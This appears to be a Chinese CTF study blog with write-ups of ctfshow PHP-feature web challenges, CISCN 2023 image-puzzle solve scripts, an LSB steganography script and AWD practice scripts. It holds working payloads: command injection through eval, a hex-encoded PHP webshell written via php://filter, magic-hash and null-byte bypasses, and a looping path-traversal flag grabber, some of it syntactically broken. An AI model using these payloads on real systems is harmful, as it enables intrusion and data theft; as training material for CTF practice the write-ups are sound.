1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
hint
1 2 3 这道题基本上没有对参数进行过滤,所以直接执行命令 ?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
payload
1 ?v1=1&v2=echo new ReflectionClass&v3=;
1 2 直接输出$ctfshow;构造出 var_dump($ctfshow); payload:v1=1&v2=var_dump($ctfshow)/*&v3=*/;
1 2 3 4 因为过滤的字符比较少,所以可以直接执行命令。 方法不固定,在此聚两个例子 v1=1&v2=?><?php echo `ls`?>/*&v3=;*/ v1=1&v2=-system('ls')-&v3=-1;
扩展
and与&&的区别+反射类ReflectionClass的使用
1 2 3 4 5 6 <?php $a =true and false and false ;var_dump ($a ); 返回true $a =true && false && false ;var_dump ($a ); 返回false
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class A {public static $flag ="flag{123123123}" ;const PI=3.14 ;static function hello ( ) { echo "hello</br>" ; } } $a =new ReflectionClass ('A' );var_dump ($a ->getConstants ()); 获取一组常量输出 array (1 ) { ["PI" ]=> float (3.14 ) } var_dump ($a ->getName ()); 获取类名输出 string (1 ) "A" var_dump ($a ->getStaticProperties ()); 获取静态属性输出 array (1 ) { ["flag" ]=> string (15 ) "flag{123123123}" } var_dump ($a ->getMethods ()); 获取类中的方法输出 array (1 ) { [0 ]=> object (ReflectionMethod) ["name" ]=> string (5 ) "hello" ["class" ]=> string (1 ) "A" } }
0x28-[ctfshow]php特性-web101 考点:同100题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
hint
1 ?v1=1&v2=echo new Reflectionclass&v3=;
1 替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
payload
0x29-[ctfshow]php特性-web102 考点:hex2bin
参考:https://blog.csdn.net/miuzzx/article/details/109168454#web9092939495_24
https://blog.csdn.net/rfrder/article/details/112882464
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); } ?>
hint
1 2 3 4 5 6 GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin #访问1.php后查看源代码获得flag
payload:php5
1 2 v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php post:v1=hex2bin
1 2 <?php eval($_POST[1]);?> 0x3c3f706870206576616c28245f504f53545b315d293b3f3e
payload:php7
1 v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
扩展
1 2 3 is_numeric在php5的环境中,是可以识别十六进制的 var_dump(is_numeric("0x66")); php5的环境下返回true php7返回false
1 2 3 4 $a="xxx"; $b=base64_encode($a); $c=bin2hex($b); 如果$c全部都是纯数字就可以了。
1 2 3 4 5 6 7 $a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。 大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
结语:参考其他大牛师傅的wp看php特性真爽!
0x30-[ctfshow]php特性-web103 考点:同上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } } else { die ('hacker' ); } ?>
hint
1 2 3 4 5 6 GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin #访问1.php后查看源代码获得flag
结语:考点和上面相同,记录一下题目。
0x31-[ctfshow]php特性-web104 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } } ?>
hint
1 2 3 4 5 #payload aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
payload
0x32-[ctfshow]php特性-web106 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } } ?>
payload
1 2 3 4 aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
结语:复阳了,还没好,多少看两道题吧。
0x33-[ctfshow]php特性-web105 考点:变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );?>
hint
1 考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
payload
1 GET: ?jere=flag POST: error=jere
结语:用一个中间变量绕过限制就行,
0x34-[ctfshow]php特性-web107 考点:parse_str
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } } ?>
hint
1 GET: ?v3=240610708 POST: v1=flag=0
payload
1 GET: ?v3=0 POST: v1=flag=cfcd208495d565ef66e7dff9f98764da
扩展:
1 md5(240610708) == 0e462097431906509019562988736854
1 2 3 4 5 6 7 parse_str函数 $a='q=123&p=456'; parse_str($a,$b); echo $b['q']; //输出123 echo $b['p']; //输出456
0x35-[ctfshow]php特性-web108 考点:ereg函数漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; } ?>
hint
1 2 3 ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配 ?c=a%00778
payload
扩展
1 正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制
1 preg_match和 preg_match_all区别是preg_match只匹配一次。而preg_match_all全部匹配,直到字符串结束。
0x36-[ctfshow]php特性-web109 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } } ?>
hint
1 Exception 异常处理类 http://c.biancheng.net/view/6253.html payload: ?v1=Exception&v2=system('cat fl36dg.txt') ?v1=Reflectionclass&v2=system('cat fl36dg.txt')
payload
1 2 v1=Exception();system('tac f*');//&v2=a v1=ReflectionClass&v2=system('tac f*')
1 2 3 ?v1=Exception();system("ls");//&v2=a ?v1=ReflectionClass&v2=system("ls") ?v1=ReflectionClass("PDO");system("ls");//&v2=a
中间那个,可以不闭合的原理就是因为先执行的system,然后才报的错。你可以理解成phpinfo(system("ls"));
,先执行的system
扩展
1 2 3 4 5 6 7 8 https://xz.aliyun.com/t/9293 PHP 原生类有如下几个: Error Exception SoapClient DirectoryIterator SimpleXMLElement
0x37-[ctfshow]php特性-web110 考点:FilesystemIterator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
hint
1 考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd
payload
1 v1=FilesystemIterator&v2=getcwd
扩展
1 如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt
0x38-[ctfshow]php特性-web111 考点:GLOBAL全局变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } } ?>
hint
1 考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS
payload
扩展
ox40-[CISCN 2023 初赛]国粹-复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from PIL import Image,ImageChopsimport os''' img目录下放a.png k.png t.png ''' def get_k_img (): if not os.path.exists('./imgs_k/' ): os.mkdir('./imgs_k' ) img = Image.open ('./img/k.png' ) for i in range (341 ): box = (53 *i,0 ,53 *i+53 ,73 ) new_image = img.crop(box) new_image.save(f'./imgs_k/{str (i)} .png' ) def get_a_img (): if not os.path.exists('./imgs_a/' ): os.mkdir('./imgs_a' ) img = Image.open ('./img/a.png' ) for i in range (341 ): box = (53 * i, 0 , 53 * i + 53 , 73 ) new_image = img.crop(box) new_image.save(f'./imgs_a/{str (i)} .png' ) def get_dict (): if not os.path.exists('./imgs_dict/' ): os.mkdir('./imgs_dict' ) img = Image.open ('./img/t.png' ) for i in range (1 ,43 ): box = (53 *i,0 ,53 *i+53 ,73 ) new_image = img.crop(box) new_image.save(f'./imgs_dict/{str (i)} .png' ) def get_compare (res_file_path,tar_file_path ): img1 = Image.open (res_file_path) img2 = Image.open (tar_file_path) try : img2 = img2.convert('RGB' ) diff = ImageChops.difference(img1, img2) if diff.getbbox() is None : return True else : return False except Exception as e: print (e) return False def get_k (): res = [] for i in range (341 ): img_path = f'./imgs_k/{str (i)} .png' for j in range (1 ,42 ): img_dict_path = f'./imgs_dict/{str (j)} .png' if get_compare(img_path, img_dict_path): res.append(j) break print (res) return res def get_a (): res = [] for i in range (341 ): img_path = f'./imgs_a/{str (i)} .png' for j in range (1 , 42 ): img_dict_path = f'./imgs_dict/{str (j)} .png' if get_compare(img_path, img_dict_path): res.append(j) break print (res) return res def get_res (): a = get_a() k = get_k() new_img = Image.new('RGB' ,(42 ,42 )) for j,i in zip (a,k): new_img.putpixel((i,j),(255 ,255 ,255 )) new_img.save('./res.png' ) new_img.show() get_dict() get_a_img() get_k_img() get_res()
ox41-[CISCN 2023 初赛]puzzle-复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 def part1 (): import os from PIL import Image new_img = Image.new("RGB" , (7200 , 4000 )) if not os.path.exists("out" ): os.makedirs("out" , exist_ok=True ) for root, dirs, files in os.walk("./tmp4" ): for file in files: imgPath = os.path.join(root, file) with open (imgPath, "rb" ) as f: data = f.read() with open (os.path.join("out" , f"{file} " ), "wb" ) as f: f.write(data[:0x16 ] + (100 ).to_bytes(4 , byteorder="little" , signed=False ) + data[0x16 + 4 :]) for root, dirs, files in os.walk("./out" ): for file in files: imgPath = os.path.join(root, file) img = Image.open (imgPath) with open (imgPath, "rb" ) as f: data = f.read(10 ) x = int .from_bytes(data[6 :8 ], byteorder="little" , signed=False ) y = int .from_bytes(data[8 :], byteorder="little" , signed=False ) new_img.paste(img, (x, y)) new_img.save("part1.png" ) def part2 (): import os import libnum from PIL import Image dic = {i: [] for i in range (4000 // 100 )} for root, dirs, files in os.walk("./tmp4" ): for file in files: imgPath = os.path.join(root, file) img = Image.open (imgPath) with open (imgPath, "rb" ) as f: data = f.read(0x16 + 4 ) x = int .from_bytes(data[6 :8 ], byteorder="little" , signed=False ) y = int .from_bytes(data[8 :10 ], byteorder="little" , signed=False ) height = 0 if int .from_bytes(data[0x16 :0x16 + 4 ], byteorder="little" , signed=True ) == -100 else 1 dic[y // 100 ].append([x, height]) bin_str = "" for key, values in dic.items(): values = sorted (values, key=lambda x: x[0 ]) for value in values: bin_str += f"{value[-1 ]} " print (libnum.b2s(bin_str)) def part3 (): import os from PIL import Image dic = {i: [] for i in range (4000 // 100 )} """ Q:如何计算填补呢? 这个比较简单,比如说图片位深度为24,那就是3个通道,也就是RGB的色彩空间(同等与一个像素占用3字节)。 比如说现在有一张图片,宽度为3,高度为2,RGB色彩空间;3 * 3 = 9 (byte),9 % 4 = 1,差3个字节才能4字节补齐。 每行就会填补3个字节,高度为2,那就一共2行,会填补6字节。 """ for root, dirs, files in os.walk("./tmp4" ): for file in files: imgPath = os.path.join(root, file) img = Image.open (imgPath) with open (imgPath, "rb" ) as f: data = f.read() x = int .from_bytes(data[6 :8 ], byteorder="little" , signed=False ) y = int .from_bytes(data[8 :10 ], byteorder="little" , signed=False ) width = abs (int .from_bytes(data[0x12 :0x12 + 4 ], byteorder="little" , signed=True )) height = abs (int .from_bytes(data[0x16 :0x16 + 4 ], byteorder="little" , signed=True )) pixelData = data[54 :] if (size := width * 3 % 4 ) != 0 : paddingSize = 4 - size paddingData = b"" for i in range (width * 3 , len (pixelData), width * 3 + paddingSize): paddingData += pixelData[i:i + paddingSize] dic[y // 100 ].append([x, paddingData, imgPath]) allPaddingData = b"" for key, values in dic.items(): values = sorted (values, key=lambda x: x[0 ]) for value in values: allPaddingData += value[1 ] with open ("part3.jpg" , "wb" ) as f: f.write(allPaddingData) part1() part2() part3()
结语:看了群里发的puzzle的解题思路,复现了一下。
主要就是bmp的三个点:
1.保留数据可以隐藏信息。这个应该是参考的2022的春秋杯,思路很妙。
2.bmp的高度为负,代表上下翻转。利用此特性隐藏了01序列信息。翻转的代表0,正常的代表1
3.bmp的padding数据隐藏了一张图片,太妙了。
复现整个题,感觉题出的非常妙,质量很高,比国粹单纯的脑洞感觉要高很多。师傅解题脚本写的也非常妙,一些用法都是之前没接触到的。收获很大,对bmp图片题有了新的认识。
另外学习到了一些细节的知识点,01查看文件结构,大端序小端序,有无符号数,等等在这个题中都是关键。
0x42-lsb_encode_decode_with_numpy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import numpy as npfrom PIL import Imageimport libnumdef lsb_encode (data ): new_img = np.asarray(Image.new('RGB' ,(100 ,100 ),(255 ,255 ,255 )),dtype=np.uint8) a,b,c = new_img.shape img_data = new_img.reshape(a*b*c) bin_data = libnum.s2b(data) bin_data_padding = bin_data+('0' *(len (img_data) - len (bin_data))) if len (img_data) > len (bin_data) else print ('error' ) res_data = np.array([(i >> 1 )*2 +int (j) for i,j in zip (img_data,bin_data_padding)],dtype=np.uint8).reshape((a,b,c)) img = Image.fromarray(res_data) img.save('./img.png' ) def lsb_decode (img ): img_data = np.array(Image.open (img).convert('RGB' )) a,b,c = img_data.shape res_data = img_data.reshape(a*b*c) data = '' .join(str (i%2 ) for i in res_data) res = '' .join(chr (int (data[i:i+8 ],2 )) for i in range (0 ,len (data),8 )) return res lsb_encode('flag{test_flag}' ) res = lsb_decode('./img.png' ) print (res)
结语:看最近用numpy用的比较多,加上昨天复现了图片隐写,就用numpy写了一个简洁的lsb实现,decode是参考之前一个比赛的脚本,encode是自己是实现的。
0x43-线下AWD比赛准备 在准备AWD比赛了,第一次打,在网上学习了一下,这是一部分的内容,就不全贴了。
1.https://www.anquanke.com/post/id/245158#h3-10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsdef getFlag (ip, port, dir ) fullUrl = "http://" + ip + ":" + port + url res = requests.get(url = fullUrl) return res.text def subFlag (r_time, ip, port, dir , token ): f_url = 'http://10.10.10.10/api/v1/att_def/web/submit_flag/?event_id=21' while True : for q in ip: flag_tmp = get_flag(ip, port, dir ) s_f_pay = { 'flag' :flag_tmp, 'token' :token } r = requests.post(f_url, data = s_f_pay) print (r.text) time.sleep(r_time * 60 ) if __name__ == '__main__' : subFlag(10 , 172.35 .19 .11 , 80 , "/statics/1.php?file=../../../../../../flag" , "FUPDSjgifpoejsiJIFPjipojfdsa" )
2.https://www.cnblogs.com/bingogo/p/12099003.html
记一次AWD自动获取flag并提交
背景
近期部门内搭建了攻防实验平台供大家练习,周末组织了一波AWD练习,之前都是做渗透测试比较多,加之题目比较简单,找到漏洞getshell拿flag都没问题,只不过如果没找到突破口flag都要手动提交的话,拿分会慢很多。 在过程中发现其实除了getshell后在服务器根目录/下读到flag,其实靶机网站中还存在一个任意文件读取漏洞,那这样写脚本自动flag就简单得多了。
自动提交flag的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import osimport timeimport requesturl = "http://10.233.*.*:800/admin/Database/downFile.html?type=sql&file=../../../../../../../flag" while True : flag = request.get(url,cookie={'skin' :'0' ,'PHPSESSID' :'18kdkfhsdkfh3323' }).text print flag url2 = 'http://10.233.*.*:801/flag_file.php?token=team3&flag=%s' %flag submit = request.get(url2).text print submit time.sleep(60 *2 )
后记
只是想记录一下,flag不一定需要getshell后才能拿到,所以写自动提交flag的脚本也可以是多样的